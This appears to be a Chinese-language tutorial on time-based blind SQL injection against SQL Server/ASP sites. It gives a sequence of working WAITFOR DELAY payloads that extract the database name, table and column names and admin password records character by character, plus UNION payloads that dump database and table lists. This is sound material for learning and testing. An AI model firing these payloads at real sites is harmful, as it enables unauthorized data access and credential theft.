我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、SQLSERVER+ASP 延时注入
1、简介
(1)SQLSERVER 延时注入也是盲注的一种
(2)WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。
waitfor delay '0:0:5'//延时5秒再执行操作select1 waitfor delay '0:0:5'//延时5秒后打印输出1
(3)substring()函数语法:
substring(字符串,start[,length])
(4)substring(‘abcdefg’,1,1):表示从第一位开始截取1个字符,此时就是a
(5)char(97),作用是把97的ASCII码值转换为对应的字符
(6)ascii(a),作用是把字符a转换为对应的ASCII码值
(7)count(*),查询个数
(8)top 1:第1个之前的记录
(9)top 1结合where username!=‘admin’:先执行条件,再取top 1。(假如admin是真正的第一条记录,那么排除了admin后,此时的top1实际上就是第二条记录)
(10)注入的形式:
形式1:
?id=1 WAITFOR DELAY '0:0:5'
形式2:
?id=1;WAITFOR DELAY '0:0:5'
2、判断注入
(1)页面延时5秒返回:
?id=1 WAITFOR DELAY '0:0:5'
3、猜解长度、个数、字符
(1)猜解当前数据库名的长度-payload1:
?id=1 IF len(DB_NAME())=4 WAITFOR DELAY '0:0:5'
(2)猜解当前数据库名的第一个字符-payload2:
?id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'
(3)猜解当前数据库名的第二个字符-payload3:
?id=1 if(SUBSTRING(DB_NAME(),2,1)='y') waitfor delay '0:0:5'
(4)猜解当前数据库名的第三个字符-payload4:
?id=1 IF ASCII(SUBSTRING(DB_NAME(),3,1))=100 WAITFOR DELAY '0:0:5'
(5)猜解当前数据库名的第四个字符-payload5:
?id=1 IF ASCII(SUBSTRING(DB_NAME(),4,1))=108 WAITFOR DELAY '0:0:5'
(6)猜解当前数据库的表个数-payload6:
?id=1 IF (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb')=4 WAITFOR DELAY '0:0:5'
(7)猜解当前数据库的第一个表名长度-payload7:
?id=1 IF len((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb'))=3 WAITFOR DELAY '0:0:5'
(8)猜解当前数据库的第一个表的第一个字符-payload8:
?id=1 IF SUBSTRING((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb'),1,1)=CHAR(99) WAITFOR DELAY '0:0:5'
依此类推,猜解出mydb库的第一个表名为cmd
(9)猜解当前数据库的第二个表名长度-payload9:
?id=1 IF len((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' and table_name!='cmd'))=8 WAITFOR DELAY '0:0:5'
(10)猜解当前数据库的第二个表的第一个字符(排除第一个表,之后再取top 1)-payload10:
?id=1 IF SUBSTRING((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' and table_name!='cmd'),1,1)=CHAR(116) WAITFOR DELAY '0:0:5'
依次类推,猜解出mydb库的第二个表名为test_tmp
经过一系列的猜解:
得到当前库为mydb
库里面有四个表,分别是cmd、test_tmp、admin、art
第三个表admin有四个字段,分别是:id、username、password、email
第三个表admin的第二个字段username的前两条数据/记录为admin、qwsn
(11)猜解admin表有几行记录/数据-payload11:
?id=1 IF (select count(id) from admin)=2 WAITFOR DELAY '0:0:5'
(12)猜解admin表的password字段的第一条记录的长度-payload12:
?id=1 IF len((select top 1 password from admin))=32 WAITFOR DELAY '0:0:5'
(13)猜解admin表的password字段的第一条记录的第一个字符-payload13:
?id=1 IF ASCII(SUBSTRING((select top 1 password from admin),1,1))=101 WAITFOR DELAY '0:0:5'
(14)上一步的思考:
方法1-通过第一条记录的username字段值排除:
?id=1 IF ASCII(SUBSTRING((select top 1 password from admin where username!='admin'),1,1))=50 WAITFOR DELAY '0:0:5'
方法2-通过第一条记录的id字段值排除:
?id=1 IF ASCII(SUBSTRING((select top 1 password from admin where id!=1),1,1))=50 WAITFOR DELAY '0:0:5'
4、以上总结:
12步
(1)判断是否存在注入
(2)猜解库名长度
(3)逐个猜解库名字符
(4)猜解当前库中的表个数
(5)猜解当前库中的某个表名的长度
(6)逐个猜解某个库中的某个表名的字符
(7)猜解某个表中的字段个数
(8)猜解某个表中的某个字段名的长度
(9)逐个猜解某个表中的某个字段名的字符
(10)猜解某个表中的字段值/记录/数据的条数
(11)猜解某个表中的某个字段值的长度
(12)逐个猜解某个表中的某个字段值的字符
5、思考1:
information_schema的区别
(1)SQL SERVER:
此时身份是某个库的系统视图
在sqlserver中,由于information_schema.schemata是某个数据库下的视图下的系统视图,相当于一个虚拟表,其中的table_schema字段值表示的是用户名,而catalog_name表示的才是数据库名。注意:以上这句话中重要的是
它存储于某个数据库下
,那么该视图中的catalog_name字段的值只能是自己的库名。
(2)MySQL:
此时身份是库
而在MySQL中,information_schema是一个单独的库,其里面存储着表schemata,也就是information_schema.schemata,该表里面的table_schema是库名的意思,它的值就广泛,有着所有的库名!!!
(3)总之:
在SQLSERVER中不可以使用information_Schema.schemata查询所有的库名,而MySQL可以。
(4)提出问题:
怎么查询出其他库名?
在有回显的时候:
使用联合查询所有库名-payload:
?id=1 union SELECT null,null,Name FROM Master..SysDatabases
同理也可以联合查询所有表名:
?id=1 union SELECT null,null,Name FROM SysObjects Where XType='U'
同理也可以联合查询某个表中指定字段的所有字段值-payload:
?id=1 union select null,null,(select username,password from admin for xml path)
但是!!!!!在没有回显的时候,我们既然已经用到了时间盲注,那么就是没有回显了,那么如何在此条件下,如何查询出其他库名呢??????
6、思考2:
如何一次查询当前库的所有表长度
(1)MySQL中使用的是group_concat()
(2)SQL server中使用的是for xml path
一次查询mydb库的所有表长度-payload:
?id=1 IF len((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' FOR XML PATH))=163 WAITFOR DELAY '0:0:5'
同理一次查询admin库的username和password所有字段值的长度-payload:
7、简化延时注入步骤:
9步(省略了判断个数的步骤)
(1)判断是否存在注入
(2)猜解当前库名长度
(3)逐个猜解当前库名的字符
(4)猜解当前库的所有表名长度
(5)逐个猜解当前库的所有表名字符
(6)猜解某个表的所有字段名长度
(7)逐个猜解某个表的所有字段名字符
(8)猜解某个表的所有字段值长度
(9)逐个猜解某个表的索引字段值字符
版权归原作者 qwsn 所有, 如有侵权,请联系我们删除。